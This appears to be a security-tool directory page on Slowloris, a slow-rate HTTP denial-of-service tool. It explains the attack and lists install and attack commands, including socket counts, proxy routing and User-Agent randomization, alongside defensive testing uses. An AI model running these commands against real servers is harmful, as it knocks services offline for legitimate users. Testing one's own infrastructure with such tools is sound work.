Stress Testing
Slowloris is a denial-of-service tool that allows a single machine to test a web server's resilience against resource exhaustion by keeping numerous HTTP connections open with partial requests.
pip install slowloris
slowloris [options] <target>
Slowloris is a slow-rate HTTP denial-of-service testing tool that exploits a fundamental design limitation in threaded web servers. Instead of overwhelming a server with bandwidth, Slowloris opens hundreds of connections and keeps them alive by sending partial HTTP headers at slow intervals.
The attack works by sending incomplete HTTP requests — Slowloris sends the initial GET request but never sends the terminating headers. The server keeps the connection open waiting for the request to complete, eventually exhausting its connection pool and denying service to legitimate users.
Slowloris is notable for requiring minimal bandwidth — a single machine with a standard internet connection can take down an Apache server. This demonstrated a class of DoS vulnerabilities that rely on application-layer resource exhaustion rather than network-layer flooding.
pip3 install slowlorisInstall the Python Slowloris implementation from PyPIslowloris example.comLaunch a Slowloris attack against a host on default port 80slowloris 10.10.10.10 -p 80Attack a host by IP address on a specific portslowloris example.com -p 443Target a service running on port 443slowloris example.com -vRun with verbose output to watch connection activityslowloris example.com -s 1000Open 1000 concurrent half-open socketsslowloris example.com -s 150Use the default 150 sockets for a lighter testslowloris example.com --sleeptime 10Send a keep-alive header every 10 seconds per socketslowloris example.com -uaRandomize the User-Agent string on each connectionslowloris example.com --httpsAttack over TLS/HTTPS instead of plain HTTPslowloris example.com -x --proxy-host 127.0.0.1 --proxy-port 8080Route the attack through a SOCKS/HTTP proxyslowloris example.com -s 500 -v -uaCombine socket count, verbosity, and UA randomizationslowloris -hShow the Slowloris help and full option listperl slowloris.pl -dns example.comRun the classic RSnake Perl Slowloris against a hostperl slowloris.pl -dns example.com -port 80Specify the target port for the Perl scriptEvaluate how many concurrent slow connections your web server can handle before rejecting requests.
Test connection timeout settings and verify proper request timeout values are configured.
Determine if your infrastructure needs reverse proxies or rate limiting to handle slow connection attacks.
Compare the behavior of different web server architectures (threaded vs event-driven) under load.
Verify that Web Application Firewalls detect and block slow-rate HTTP attacks.
Stress Testing
HTTP KeepAlive stress testing tool with configurable worker threads.
Stress Testing
Network packet crafting tool for SYN floods and custom DoS tests.
Exploitation
Contains Slowloris auxiliary module for integrated exploitation framework testing.
Sniffing & Spoofing
Packet capture for analyzing slow HTTP connection behavior.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.